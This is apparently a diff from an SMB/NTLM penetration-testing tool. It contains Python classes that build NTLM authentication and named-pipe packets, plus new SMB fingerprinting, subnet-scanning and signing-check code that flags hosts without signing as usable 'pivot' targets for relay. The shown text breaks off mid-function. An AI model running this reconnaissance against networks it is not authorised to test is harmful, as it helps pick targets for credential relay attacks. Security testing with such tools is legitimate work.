SecurityBlobLen = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])
|
||||||
|
|
||||||
|
SecurityBlobLen2 = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])
|
||||||
|
|
||||||
|
SecurityBlobBCC = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])+str(self.fields["NLMPAuthMsgNTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
|
||||||
|
|
||||||
|
CalculateUserOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])
|
||||||
|
|
||||||
|
|
||||||
|
CalculateDomainOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
|
||||||
|
|
||||||
|
CalculateWorkstationOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])
|
||||||
|
|
||||||
|
CalculateLMChallengeOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])
|
||||||
|
|
||||||
|
CalculateNTChallengeOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])
|
||||||
|
|
||||||
|
## Packet len
|
||||||
|
self.fields["andxoffset"] = struct.pack("<i", len(CompletePacketLen)+32)[:2]
|
||||||
|
##Buff Len
|
||||||
|
self.fields["securitybloblength"] = struct.pack("<i", len(SecurityBlobLen))[:2]
|
||||||
|
##Complete Buff Len
|
||||||
|
self.fields["bcc1"] = struct.pack("<i", len(SecurityBlobBCC))[:2]
|
||||||
|
## Guest len check
|
||||||
|
self.fields["ApplicationHeaderLen"] = struct.pack("<i", len(SecurityBlobLen)-2)[:1]
|
||||||
|
self.fields["AsnSecMechLen"] = struct.pack("<i", len(SecurityBlobLen)-4)[:1]
|
||||||
|
self.fields["ChoosedTagLen"] = struct.pack("<i", len(SecurityBlobLen)-6)[:1]
|
||||||
|
self.fields["ChoosedTag1StrLen"] = struct.pack("<i", len(SecurityBlobLen)-8)[:1]
|
||||||
|
|
||||||
|
|
||||||
|
##### Username Offset Calculation..######
|
||||||
|
self.fields["NLMPAuthMsgNtUserNameBuffOffset"] = struct.pack("<i", len(CalculateUserOffset))
|
||||||
|
self.fields["NLMPAuthMsgNtUserNameLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtUserName"])))[:2]
|
||||||
|
self.fields["NLMPAuthMsgNtUserNameMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtUserName"])))[:2]
|
||||||
|
##### Domain Offset Calculation..######
|
||||||
|
self.fields["NLMPAuthMsgNtDomainNameBuffOffset"] = struct.pack("<i", len(CalculateDomainOffset))
|
||||||
|
self.fields["NLMPAuthMsgNtDomainNameLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtDomainName"])))[:2]
|
||||||
|
self.fields["NLMPAuthMsgNtDomainNameMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtDomainName"])))[:2]
|
||||||
|
##### Workstation Offset Calculation..######
|
||||||
|
self.fields["NLMPAuthMsgNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateWorkstationOffset))
|
||||||
|
self.fields["NLMPAuthMsgNtWorkstationLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtWorkstationName"])))[:2]
|
||||||
|
self.fields["NLMPAuthMsgNtWorkstationMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtWorkstationName"])))[:2]
|
||||||
|
|
||||||
|
##### NT Challenge Offset Calculation..######
|
||||||
|
self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"] = struct.pack("<i", len(CalculateNTChallengeOffset))
|
||||||
|
self.fields["NLMPAuthMsgNtChallengeResponseLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])))[:2]
|
||||||
|
self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])))[:2]
|
||||||
|
##### LM Challenge Offset Calculation..######
|
||||||
|
self.fields["NLMPAuthMsgLMChallengeBuffOffset"] = struct.pack("<i", len(CalculateLMChallengeOffset))
|
||||||
|
self.fields["NLMPAuthMsgLMChallengeLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthLMChallengeStr"])))[:2]
|
||||||
|
self.fields["NLMPAuthMsgLMChallengeMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthLMChallengeStr"])))[:2]
|
||||||
|
|
||||||
|
######################################################################################################
|
||||||
|
|
||||||
|
class SMBTreeConnectData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x04"),
|
||||||
|
("AndXCommand", "\xff"),
|
||||||
|
("Reserved","\x00" ),
|
||||||
|
("Andxoffset", "\x5a\x00"),
|
||||||
|
("Flags","\x08\x00"),
|
||||||
|
("PasswdLen", "\x01\x00"),
|
||||||
|
("Bcc","\x2f\x00"),
|
||||||
|
("Passwd", "\x00"),
|
||||||
|
("Path",""),
|
||||||
|
("PathTerminator","\x00\x00"),
|
||||||
|
("Service","?????"),
|
||||||
|
("Terminator", "\x00"),
|
||||||
|
|
||||||
|
])
|
||||||
|
def calculate(self):
|
||||||
|
|
||||||
|
##Convert Path to Unicode first before any Len calc.
|
||||||
|
self.fields["Path"] = self.fields["Path"].encode('utf-16le')
|
||||||
|
|
||||||
|
##Passwd Len
|
||||||
|
self.fields["PasswdLen"] = struct.pack("<i", len(str(self.fields["Passwd"])))[:2]
|
||||||
|
|
||||||
|
##Packet len
|
||||||
|
CompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Flags"])+str(self.fields["PasswdLen"])+str(self.fields["Bcc"])+str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
|
||||||
|
|
||||||
|
self.fields["Andxoffset"] = struct.pack("<i", len(CompletePacket)+32)[:2]
|
||||||
|
|
||||||
|
##Bcc Buff Len
|
||||||
|
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
|
||||||
|
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
|
||||||
|
|
||||||
|
|
||||||
|
class SMBTransRAPData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x10"),
|
||||||
|
("TotalParamCount", "\x00\x00"),
|
||||||
|
("TotalDataCount","\x00\x00" ),
|
||||||
|
("MaxParamCount", "\xff\xff"),
|
||||||
|
("MaxDataCount","\xff\xff"),
|
||||||
|
("MaxSetupCount", "\x00"),
|
||||||
|
("Reserved","\x00\x00"),
|
||||||
|
("Flags", "\x00"),
|
||||||
|
("Timeout","\x00\x00\x00\x00"),
|
||||||
|
("Reserved1","\x00\x00"),
|
||||||
|
("ParamCount","\x00\x00"),
|
||||||
|
("ParamOffset", "\x5c\x00"),
|
||||||
|
("DataCount", "\x00\x00"),
|
||||||
|
("DataOffset", "\x54\x00"),
|
||||||
|
("SetupCount", "\x02"),
|
||||||
|
("Reserved2", "\x00"),
|
||||||
|
("PeekNamedPipe", "\x23\x00"),
|
||||||
|
("FID", "\x00\x00"),
|
||||||
|
("Bcc", "\x47\x00"),
|
||||||
|
("Terminator", "\x00"),
|
||||||
|
("PipeName", "\\PIPE\\"),
|
||||||
|
("PipeTerminator","\x00\x00"),
|
||||||
|
("Data", ""),
|
||||||
|
|
||||||
|
])
|
||||||
|
def calculate(self):
|
||||||
|
#Padding
|
||||||
|
if len(str(self.fields["Data"]))%2==0:
|
||||||
|
self.fields["PipeTerminator"] = "\x00\x00\x00\x00"
|
||||||
|
else:
|
||||||
|
self.fields["PipeTerminator"] = "\x00\x00\x00"
|
||||||
|
##Convert Path to Unicode first before any Len calc.
|
||||||
|
self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le')
|
||||||
|
|
||||||
|
##Data Len
|
||||||
|
self.fields["TotalParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
||||||
|
self.fields["ParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
||||||
|
|
||||||
|
##Packet len
|
||||||
|
FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["PeekNamedPipe"])+str(self.fields["FID"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
|
||||||
|
|
||||||
|
self.fields["ParamOffset"] = struct.pack("<i", len(FindRAPOffset)+32)[:2]
|
||||||
|
##Bcc Buff Len
|
||||||
|
BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
|
||||||
|
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
|
||||||
|
|
||||||
@@ -15,11 +15,15 @@
|
|||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import re,sys,socket,struct
|
import re,sys,socket,struct
|
||||||
|
import multiprocessing
|
||||||
from socket import *
|
from socket import *
|
||||||
|
from time import sleep
|
||||||
from odict import OrderedDict
|
from odict import OrderedDict
|
||||||
|
|
||||||
__version__ = "0.3"
|
__version__ = "0.7"
|
||||||
Timeout = 0.5
|
|
||||||
|
Timeout = 2
|
||||||
|
|
||||||
class Packet():
|
class Packet():
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
])
|
])
|
||||||
@@ -139,15 +143,22 @@ def dtoa(d):
|
|||||||
def OsNameClientVersion(data):
|
def OsNameClientVersion(data):
|
||||||
try:
|
try:
|
||||||
length = struct.unpack('<H',data[43:45])[0]
|
length = struct.unpack('<H',data[43:45])[0]
|
||||||
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
if length > 255:
|
||||||
return OsVersion, ClientVersion
|
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]])
|
||||||
|
return OsVersion, ClientVersion
|
||||||
|
if length <= 255:
|
||||||
|
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
||||||
|
return OsVersion, ClientVersion
|
||||||
except:
|
except:
|
||||||
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
|
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
|
||||||
|
|
||||||
def GetHostnameAndDomainName(data):
|
def GetHostnameAndDomainName(data):
|
||||||
try:
|
try:
|
||||||
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
|
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
|
||||||
|
#If max length domain name, there won't be a \x00\x00\x00 delineator to split on
|
||||||
|
if Hostname == '':
|
||||||
|
DomainJoined = data[81:110].replace('\x00','')
|
||||||
|
Hostname = data[113:].replace('\x00','')
|
||||||
return Hostname, DomainJoined
|
return Hostname, DomainJoined
|
||||||
except:
|
except:
|
||||||
return "Could not get Hostname.", "Could not get Domain joined"
|
return "Could not get Hostname.", "Could not get Domain joined"
|
||||||
@@ -205,6 +216,27 @@ def SmbFinger(Host):
|
|||||||
return signing, OsVersion, ClientVersion
|
return signing, OsVersion, ClientVersion
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
def SmbFingerSigning(Host):
|
||||||
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
|
try:
|
||||||
|
s.settimeout(Timeout)
|
||||||
|
s.connect((Host, 445))
|
||||||
|
except:
|
||||||
|
return False
|
||||||
|
try:
|
||||||
|
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
|
||||||
|
n = SMBNego(Data = SMBNegoData())
|
||||||
|
n.calculate()
|
||||||
|
packet0 = str(h)+str(n)
|
||||||
|
buffer0 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer0)
|
||||||
|
data = s.recv(2048)
|
||||||
|
signing = IsSigningEnabled(data)
|
||||||
|
return signing
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
##################
|
##################
|
||||||
#run it
|
#run it
|
||||||
def ShowResults(Host):
|
def ShowResults(Host):
|
||||||
@@ -244,6 +276,43 @@ def ShowSmallResults(Host):
|
|||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def ShowScanSmallResults(Host):
|
||||||
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
|
try:
|
||||||
|
s.settimeout(Timeout)
|
||||||
|
s.connect(Host)
|
||||||
|
except:
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
Hostname, DomainJoined = DomainGrab(Host)
|
||||||
|
Signing, OsVer, LanManClient = SmbFinger(Host)
|
||||||
|
Message ="['%s', Os:'%s', Domain:'%s', Signing:'%s']"%(Host[0], OsVer, DomainJoined, Signing)
|
||||||
|
print Message
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def ShowSigning(Host):
|
||||||
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
|
try:
|
||||||
|
s.settimeout(Timeout)
|
||||||
|
s.connect((Host, 445))
|
||||||
|
except:
|
||||||
|
print "[Pivot Verification Failed]: Target host is down"
|
||||||
|
return True
|
||||||
|
|
||||||
|
try:
|
||||||
|
Signing = SmbFingerSigning(Host)
|
||||||
|
if Signing == True:
|
||||||
|
print "[Pivot Verification Failed]:Signing is enabled. Choose another host."
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
def RunFinger(Host):
|
def RunFinger(Host):
|
||||||
m = re.search("/", str(Host))
|
m = re.search("/", str(Host))
|
||||||
if m :
|
if m :
|
||||||
@@ -255,3 +324,23 @@ def RunFinger(Host):
|
|||||||
else:
|
else:
|
||||||
ShowResults((Host,445))
|
ShowResults((Host,445))
|
||||||
|
|
||||||
|
|
||||||
|
def RunPivotScan(Host, CurrentIP):
|
||||||
|
m = re.search("/", str(Host))
|
||||||
|
if m :
|
||||||
|
net,_,mask = Host.partition('/')
|
||||||
|
mask = int(mask)
|
||||||
|
net = atod(net)
|
||||||
|
threads = []
|
||||||
|
